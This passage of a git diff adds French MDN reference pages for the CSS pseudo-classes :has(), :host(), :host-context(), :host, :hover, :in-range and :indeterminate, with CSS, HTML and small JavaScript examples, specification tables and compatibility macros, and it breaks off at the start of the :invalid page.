+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:has()</code></strong> permet de cibler un élément si au moins un des sélecteurs passés en paramètre correspond à l'élément (selon la portée, {{cssxref(":scope")}}, de l'élément).</p>
+
+<p>Cette pseudo-classe <code>:has()</code> prend en paramètre une liste de sélecteurs.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour des raisons de performances et dans la spécification actuelle, <a href="https://drafts.csswg.org/selectors/#live-profile"><code>has()</code> n'est pas classé comme un sélecteur dynamique</a> et peut uniquement être utilisé de façon statique (par exemple avec des fonctions comme {{domxref("document.querySelector()")}}.</p>
+</div>
+
+<pre class="brush: js">/* Avec cette ligne de JavaScript, on récupère  */
+/* tous les éléments &lt;a&gt; qui ont un fils direct */
+/* qui est un élément &lt;img&gt; */
+/* Attention, actuellement cette fonction n'est */
+/* pas prise en charge par les navigateurs et   */
+/* n'est pas conçue pour fonctionner dans les   */
+/* feuilles de style */
+var test = document.querySelector('a:has(&gt; img)');</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">:has(<em>liste_selecteurs</em>) {<em> proprietes</em> }</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, le sélecteur permet de cibler uniquement les éléments {{HTMLElement("a")}} qui contiennent un fils direct {{HTMLElement("img")}} :</p>
+
+<pre class="brush: css">a:has(&gt; img)
+</pre>
+
+<p>Le sélecteur qui suit correspond aux éléments {{HTMLElement("h1")}} qui précèdent directement un élément {{HTMLElement("p")}} :</p>
+
+<pre class="brush: css">h1:has(+ p)</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#relational", ":has()")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.has")}}</p>
diff --git a/files/fr/web/css/_colon_host()/index.html b/files/fr/web/css/_colon_host()/index.html
new file mode 100644
index 0000000000..0d8b083548
--- /dev/null
+++ b/files/fr/web/css/_colon_host()/index.html
@@ -0,0 +1,89 @@
+---
+title: ':host()'
+slug: 'Web/CSS/:host()'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:host()'
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction de <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:host()</code></strong> permet de sélectionner l'hôte du <em>shadow DOM</em> contenant le CSS à utiliser, uniquement si le sélecteur passé en argument correspond à l'élément hôte.</p>
+
+<p>Le scénario principal pour utiliser cette fonction consiste à vouloir cibler une certaine classe d'éléments personnalisés : pour cela, on passera la classe comme argument de la fonction <code>:host()</code>. Cette fonction ne peut pas être utilisée avec un sélecteur de descendant, pour cela il faudra utiliser  {{cssxref(":host-context()")}}.</p>
+
+<div class="note">
+<p><strong>Note</strong> : Cette fonction n'a aucun effet si elle est utilisée en dehors d'un <em>shadow DOM</em>.</p>
+</div>
+
+<pre class="brush: css no-line-numbers">/* On cible l'hôte du shadow DOM uniquement s'il
+   correspond au sélecteur passé en argument */
+:host(.special-custom-element) {
+  font-weight: bold;
+}
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les fragments de code suivants sont extraits du dépôt d'exemple <a href="https://github.com/mdn/web-components-examples/tree/master/host-selectors"><em>host-selectors</em></a><em> </em>(<a href="https://mdn.github.io/web-components-examples/host-selectors/">voir le résultat <em>live</em></a>).</p>
+
+<p>Dans cet exemple, on dispose d'un élément personnalisé,  <code>&lt;context-span&gt;</code>, qui peut contenir du texte :</p>
+
+<pre class="brush: html">&lt;h1&gt;Host selectors &lt;a href="#"&gt;&lt;context-span&gt;example&lt;/context-span&gt;&lt;/a&gt;&lt;/h1&gt;</pre>
+
+<p>Dans le constructeur de l'élément, on crée un élément <code>style</code> et un élément <code>span</code>. Ce dernier recevra le contenu textuel de l'élément personnalisé et l'élément <code>style</code> recevra quelques règles CSS :</p>
+
+<pre class="brush: js">let style = document.createElement('style');
+let span = document.createElement('span');
+span.textContent = this.textContent;
+
+const shadowRoot = this.attachShadow({mode: 'open'});
+shadowRoot.appendChild(style);
+shadowRoot.appendChild(span);
+
+style.textContent = 'span:hover { text-decoration: underline; }' +
+                    ':host-context(h1) { font-style: italic; }' +
+                    ':host-context(h1):after { content: " - no links in headers!" }' +
+                    ':host-context(article, aside) { color: gray; }' +
+                    ':host(.footer) { color : red; }' +
+                    ':host { background: rgba(0,0,0,0.1); padding: 2px 5px; }';</pre>
+
+<p>La règle <code>:host(.footer) { color : red; }</code> s'applique à toutes les instances de l'élément <code>&lt;context-span&gt;</code> (il s'agit ici de l'hôte) du document qui possèdent la classe <code>footer</code>. Ici, pour ces éléments donnés, on utilise une couleur spécifique.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Scope', '#host-selector', ':host()')}}</td>
+   <td>{{Spec2('CSS Scope')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.hostfunction")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Web_Components">Les composants web</a></li>
+ <li>{{cssxref(":host")}}</li>
+ <li>{{cssxref(":host-context()")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_host-context()/index.html b/files/fr/web/css/_colon_host-context()/index.html
new file mode 100644
index 0000000000..36bcacd731
--- /dev/null
+++ b/files/fr/web/css/_colon_host-context()/index.html
@@ -0,0 +1,96 @@
+---
+title: ':host-context()'
+slug: 'Web/CSS/:host-context()'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-classe
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:host-context()'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:host-context()</code></strong> est une fonction qui sélectionne l'hôte (<em>shadow host</em>) du <em><a href="/fr/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a></em> qui contient le CSS utilisé à l'intérieur, uniquement si le sélecteur fourni en argument correspond à l'ancêtre de l'hôte selon l'arborescence du DOM.</p>
+
+<p>Un cas d'usage fréquent consiste à utilise un sélecteur de descendant — <code>h1</code> par exemple — afin de sélectionner uniquement les instances d'un élément personnalisé (<em>custom element</em>) présentes à l'intérieur d'un élément <code>&lt;h1&gt;</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong> : Cette pseudo-classe n'a aucun effet en dehors d'un <em>shadow DOM</em>.</p>
+</div>
+
+<pre class="brush: css no-line-numbers">/* Cible un hôte uniquement si c'est un descendant
+   du sélecteur passé en argument */
+:host-context(h1) {
+  font-weight: bold;
+}
+
+:host-context(main article) {
+  font-weight: bold;
+}
+
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les fragments de code suivants sont tirés du dépôt <a href="https://github.com/mdn/web-components-examples/tree/master/host-selectors"><em>host-selectors</em></a> (<a href="https://mdn.github.io/web-components-examples/host-selectors/">voir le résultat <em>live</em></a>).</p>
+
+<p>Dans cet exemple, on dispose d'un élément personnalisé — <code>&lt;context-span&gt;</code> — au sein duquel on peut avoir du texte :</p>
+
+<pre class="brush: html">&lt;h1&gt;Host selectors &lt;a href="#"&gt;&lt;context-span&gt;example&lt;/context-span&gt;&lt;/a&gt;&lt;/h1&gt;</pre>
+
+<p>Dans le constructeur de l'élément, on crée des éléments <code>style</code> et <code>span</code> et on remplit le <code>span</code> avec le contenu de l'élément personnalisé puis on applique certains règles CSS pour l'élément <code>style</code> :</p>
+
+<pre class="brush: js">let style = document.createElement('style');
+let span = document.createElement('span');
+span.textContent = this.textContent;
+
+const shadowRoot = this.attachShadow({mode: 'open'});
+shadowRoot.appendChild(style);
+shadowRoot.appendChild(span);
+
+style.textContent = 'span:hover { text-decoration: underline; }' +
+                    ':host-context(h1) { font-style: italic; }' +
+                    ':host-context(h1):after { content: " - no links in headers!" }' +
+                    ':host-context(article, aside) { color: gray; }' +
+                    ':host(.footer) { color : red; }' +
+                    ':host { background: rgba(0,0,0,0.1); padding: 2px 5px; }';</pre>
+
+<p>Les règles <code>:host-context(h1) { font-style: italic; }</code> et <code>:host-context(h1):after { content: " - no links in headers!" }</code> permettent de mettre en forme l'instance de l'élément <code>&lt;context-span&gt;</code> (l'hôte de cette instance) à l'intérieur de l'élément <code>&lt;h1&gt;</code>. Nous avons utilisé cet hôte afin d'indiquer clairement qu'un tel élément personnalisé ne doit pas apparaître dans un titre <code>&lt;h1&gt;</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Scope', '#host-selector', ':host-context()')}}</td>
+   <td>{{Spec2('CSS Scope')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.host-context")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Web_Components">Les composants web</a></li>
+ <li>{{cssxref(":host")}}</li>
+ <li>{{cssxref(":host()")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_host/index.html b/files/fr/web/css/_colon_host/index.html
new file mode 100644
index 0000000000..c82bb211e4
--- /dev/null
+++ b/files/fr/web/css/_colon_host/index.html
@@ -0,0 +1,86 @@
+---
+title: ':host'
+slug: 'Web/CSS/:host'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:host'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:host</code></strong> permet de cibler l'hôte d'un <em><a href="/fr/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a></em> contenant le CSS à utiliser pour cet hôte. Autrement dit, elle permet de sélectionner un élément personnalisé (<em>custom element</em>) depuis l'intérieur du <em>shadow DOM</em>.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Cette pseudo-classe n'a aucun effet lorsqu'elle est utilisée à l'extérieur d'un <em>shadow DOM</em>.</p>
+</div>
+
+<pre class="brush: css no-line-numbers">/* Cible la racine d'un hôte de shadow DOM */
+:host {
+  font-weight: bold;
+}
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les fragments de code qui suivent sont extraits du dépôt d'exemple <a href="https://github.com/mdn/web-components-examples/tree/master/host-selectors"><em>host-selectors</em></a> (<a href="https://mdn.github.io/web-components-examples/host-selectors/">voir le résultat <em>live</em></a>).</p>
+
+<p>Dans cet exemple, on dispose d'un élément personnalisé <code>&lt;context-span&gt;</code>  qui peut contenir du texte :</p>
+
+<pre class="brush: html">&lt;h1&gt;Host selectors &lt;a href="#"&gt;&lt;context-span&gt;example&lt;/context-span&gt;&lt;/a&gt;&lt;/h1&gt;</pre>
+
+<p>Pour le constructeur de cet élément, on crée des éléments <code>style</code> et <code>span</code> : l'élément <code>span</code> recevra le contenu de l'élément personnalisé et <code>style</code> recevra quelques règles CSS :</p>
+
+<pre class="brush: js">let style = document.createElement('style');
+let span = document.createElement('span');
+span.textContent = this.textContent;
+
+const shadowRoot = this.attachShadow({mode: 'open'});
+shadowRoot.appendChild(style);
+shadowRoot.appendChild(span);
+
+style.textContent = 'span:hover { text-decoration: underline; }' +
+                    ':host-context(h1) { font-style: italic; }' +
+                    ':host-context(h1):after { content: " - no links in headers!" }' +
+                    ':host-context(article, aside) { color: gray; }' +
+                    ':host(.footer) { color : red; }' +
+                    ':host { background: rgba(0,0,0,0.1); padding: 2px 5px; }';</pre>
+
+<p>La règle <code>:host { background: rgba(0,0,0,0.1); padding: 2px 5px; }</code> permet de cibler l'ensemble des instances de <code>&lt;context-span&gt;</code> (qui est l'hôte ici) dans le document.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Scope', '#host-selector', ':host')}}</td>
+   <td>{{Spec2('CSS Scope')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.host")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Web_Components">Les composants web</a></li>
+ <li>{{cssxref(":host()")}}</li>
+ <li>{{cssxref(":host-context()")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_hover/index.html b/files/fr/web/css/_colon_hover/index.html
new file mode 100644
index 0000000000..93419ae333
--- /dev/null
+++ b/files/fr/web/css/_colon_hover/index.html
@@ -0,0 +1,97 @@
+---
+title: ':hover'
+slug: 'Web/CSS/:hover'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:hover'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:hover</code></strong> permet de spécifier l'apparence d'un élément au moment où l'utilisateur le survole avec le pointeur, sans nécessairement l'activer.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible n'importe quel élément &lt;a&gt; lorsque  */
+/* celui-ci est survolé */
+a:hover {
+  background-color: gold;
+}</pre>
+
+<p>La mise en forme ciblée par cette pseudo-classe peut être surchargée par d'autres pseudo-classes relatives aux liens hypertextes comme {{cssxref(":link")}}, {{cssxref(":visited")}}, et {{cssxref(":active")}}, apparaissant dans des règles subséquentes. Pour décorer les liens sans effet de bord problématique, on placera la règle <code>:hover</code> après les règles <code>:link</code> et <code>:visited</code> mais avant la règle <code>:active</code> (l'ordre est  <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code> – un moyen mnémotechnique est de se souvenir des initiales LVHA) tandis que l'ordre de la règle {{cssxref(":focus")}} est indifférent.</p>
+
+<p>La pseudo-classe <code>:hover</code> peut être appliquée à n'importe quel <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément</a>. {{experimental_inline}}</p>
+
+<div class="note"><strong>Note d'utilisation :</strong> sur les écrans tactiles, <code>:hover</code> est problématique voire impossible. La pseudo-classe <code>:hover</code> n'est jamais valide, ou seulement pendant un très court instant après avoir touché l'élément. Puisque les appareils à écrans tactiles sont très courants, il est important que les développeurs web ne placent pas de contenu accessible seulement lors du survol, puisque ce contenu sera caché pour les utilisateurs de tels appareils.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">a:hover {
+  background-color: gold;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  &lt;a href="#"&gt;Ce lien sera écrit sur un fond doré lors du survol.&lt;/a&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> On peut utiliser la pseudo-classe <code>:checked</code> dans une galerie d'images afin d'afficher une version agrandie de l'image lorsqu'on survole la vignette.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Commentaires</th>
+   <th scope="col">Retours</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-hover', ':hover')}}</td>
+   <td> </td>
+   <td><a href="https://github.com/whatwg/html/issues"><em>Issues</em> GitHub du WHATWG HTML (en anglais)</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#the-hover-pseudo', ':hover')}}</td>
+   <td>Permet d'appliquer <code>:hover</code> à n'importe quel pseudo-élément.</td>
+   <td><a href="https://github.com/w3c/csswg-drafts/issues">Issues GitHub pour les brouillons du groupe de travail CSS (en anglais)</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#the-user-action-pseudo-classes-hover-act', ':hover')}}</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':hover')}}</td>
+   <td>Définition initiale.</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.hover")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=370155">Bogue Chromium #370155 : Don't make :hover sticky on tap on sites that set a mobile viewport</a></li>
+ <li><a href="https://code.google.com/p/chromium/issues/detail?id=306581">Bogue Chromium #306581 : Immediately show hover and active states on touch when page isn't scrollable</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_in-range/index.html b/files/fr/web/css/_colon_in-range/index.html
new file mode 100644
index 0000000000..3e5e8ff1b4
--- /dev/null
+++ b/files/fr/web/css/_colon_in-range/index.html
@@ -0,0 +1,106 @@
+---
+title: ':in-range'
+slug: 'Web/CSS/:in-range'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:in-range'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:in-range</code></strong> cible un élément {{htmlelement("input")}} lorsque sa valeur courante est comprise dans l'intervalle défini par les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max","input")}}.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible n'importe quel élément &lt;input&gt;   */
+/* qui possède un intervalle et pour le-  */
+/* quel la valeur est dans cet intervalle */
+input:in-range {
+  background-color: rgba(0, 255, 0, 0.25);
+}</pre>
+
+<p>Cette pseudo-classe s'avère utile lorsqu'on souhaite fournir une indication visuelle quand la valeur est en dehors de la fourchette autorisée.</p>
+
+<div class="note"><strong>Note :</strong> Cette pseudo-classe ne s'applique qu'aux éléments qui ont des limites de valeurs (autrement dit la valeur doit être comprise dans un intervalle donné). Sans ces limitations, l'élément ne pourra pas être vu comme <em>dans l'intervalle</em> ou <em>en dehors de l'intervalle</em>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[5]">li {
+  list-style: none;
+  margin-bottom: 1em;
+}
+input {
+  border: 1px solid black;
+}
+input:in-range {
+  background-color: rgba(0, 255, 0, 0.25);
+}
+input:out-of-range {
+  background-color: rgba(255, 0, 0, 0.25);
+  border: 2px solid red;
+}
+input:in-range + label::after {
+  content:' OK';
+}
+input:out-of-range + label::after {
+  content:' non autorisée !';
+}</pre>
+
+<div id="example">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html; highlight:[3]">&lt;form action="" id="form1"&gt;
+  &lt;ul&gt;Les valeurs entre 1 et 10 sont valides.
+    &lt;li&gt;
+      &lt;input id="valeur1" name="valeur1" type="number" placeholder="de 1 à 10" min="1" max="10" value="12"&gt;
+      &lt;label for="valeur1"&gt;Votre valeur est &lt;/label&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+</div>
+
+<div>{{EmbedLiveSample('Exemples',600,140)}}</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Etat</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-in-range', ':in-range')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition de la correspondance entre <code>:in-range</code> et les éléments HTML.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#in-range-pseudo', ':in-range')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.in-range")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":out-of-range")}}</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Guide de validation pour les données de formulaire</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_indeterminate/index.html b/files/fr/web/css/_colon_indeterminate/index.html
new file mode 100644
index 0000000000..5ebd9cd85e
--- /dev/null
+++ b/files/fr/web/css/_colon_indeterminate/index.html
@@ -0,0 +1,127 @@
+---
+title: ':indeterminate'
+slug: 'Web/CSS/:indeterminate'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:indeterminate'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:indeterminate</code></strong> permet de cibler un élément de formulaire dont l'état est indéterminé.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible n'importe quel élément &lt;input&gt; */
+/* dans un état indéterminé */
+input:indeterminate {
+  background: lime;
+}</pre>
+
+<p>Cela inclut :</p>
+
+<ul>
+ <li>un élément <code><a href="/fr/docs/Web/HTML/Element/input/checkbox">&lt;input type="checkbox"&gt;</a></code> dont la propriété du DOM <code>indeterminate</code> est fixée à <code>true</code> via du code JavaScript</li>
+ <li>des éléments <code><a href="/fr/docs/Web/HTML/Element/input/radio">&lt;input type="radio"&gt;</a></code> dont tous les boutons radio du groupe sont décochés</li>
+ <li>des éléments {{HTMLElement("progress")}} dans un état indéterminé.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Case_à_cocher_et_bouton_radio">Case à cocher et bouton radio</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; hightlight[5]">input, span {
+  background: red;
+}
+
+:indeterminate, :indeterminate + label {
+  background: lime;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;input type="checkbox" id="checkbox"&gt;
+  &lt;label for="checkbox"&gt;L'arrière-plan devrait être vert.&lt;/label&gt;
+&lt;/div&gt;
+&lt;div&gt;
+  &lt;input type="radio" id="radio"&gt;
+  &lt;label for="radio"&gt;L'arrière-plan devrait être vert.&lt;/label&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var inputs = document.getElementsByTagName("input");
+for(var i = 0; i &lt; inputs.length; i++) {
+  inputs[i].indeterminate = true;
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Case_à_cocher_et_bouton_radio', '100%', 50)}}</p>
+
+<h3 id="Élément_progress">Élément <code>progress</code></h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css; hightlight[5]">progress:indeterminate {
+  opacity: 0.5;
+  box-shadow: 0 0 2px 1px red;
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;progress/&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Élément_progress', '100%', 30)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-indeterminate', ':indeterminate')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-indeterminate', ':indeterminate')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition de la sémantique relative à HTML et des contraintes de validation associées.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#indeterminate', ':indeterminate')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#indeterminate', ':indeterminate')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Définition de la pseudo-classe, sans notion de sémantique associée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.indeterminate")}}</p>
diff --git a/files/fr/web/css/_colon_invalid/index.html b/files/fr/web/css/_colon_invalid/index.html
new file mode 100644
index 0000000000..6b571b7d18
--- /dev/null
+++ b/files/fr/web/css/_colon_invalid/index.html
@@ -0,0 +1,163 @@
+---
+title: ':invalid'
+slug: 'Web/CSS/:invalid'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:invalid'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:invalid</code></strong> cible tout élément {{HTMLElement("input")}} pour lequel <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation" title="en/HTML/HTML5/Constraint_validation">la validation</a> du contenu échoue par rapport au type de donnée attendu. Ceci permet de mettre en forme les champs non valides pour aider l'utilisateur à identifier et à corriger les erreurs.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible n'importe quel élément input  */
+/* dont la valeur ne satisfait pas aux */
+/* critères de validation */
+input:invalid {
+  background-color: pink;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple présente un formulaire simple dont les éléments sont verts lors qu'ils sont valides et rouges lorsqu'ils ne le sont pas.</p>
+
